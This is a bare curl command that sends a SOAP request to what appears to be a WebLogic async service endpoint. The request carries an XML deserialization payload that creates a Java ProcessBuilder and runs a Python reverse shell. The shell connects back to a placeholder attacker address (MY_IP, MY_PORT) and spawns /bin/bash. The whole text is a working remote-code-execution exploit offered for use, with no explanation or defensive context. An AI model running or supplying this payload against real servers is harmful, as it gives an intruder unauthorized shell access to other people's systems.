curl -X POST https://127.0.0.1/_async/AsyncResponseService -H "Content-Type: text/xml" -d '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
    <soapenv:Header>
        <wsa:Action>xx</wsa:Action>
        <wsa:RelatesTo>xx</wsa:RelatesTo>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <void class="java.lang.ProcessBuilder">
                <array class="java.lang.String" length="3">
                    <void index="0">
                        <string>/bin/bash</string>
                    </void>
                    <void index="1">
                        <string>-c</string>
                    </void>
                    <void index="2">
                        <string> python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"MY_IP\",MY_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")" </string>
                    </void>
                </array>
            <void method="start"/></void>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body>
    <asy:onAsyncDelivery/>
    </soapenv:Body>
</soapenv:Envelope>' -k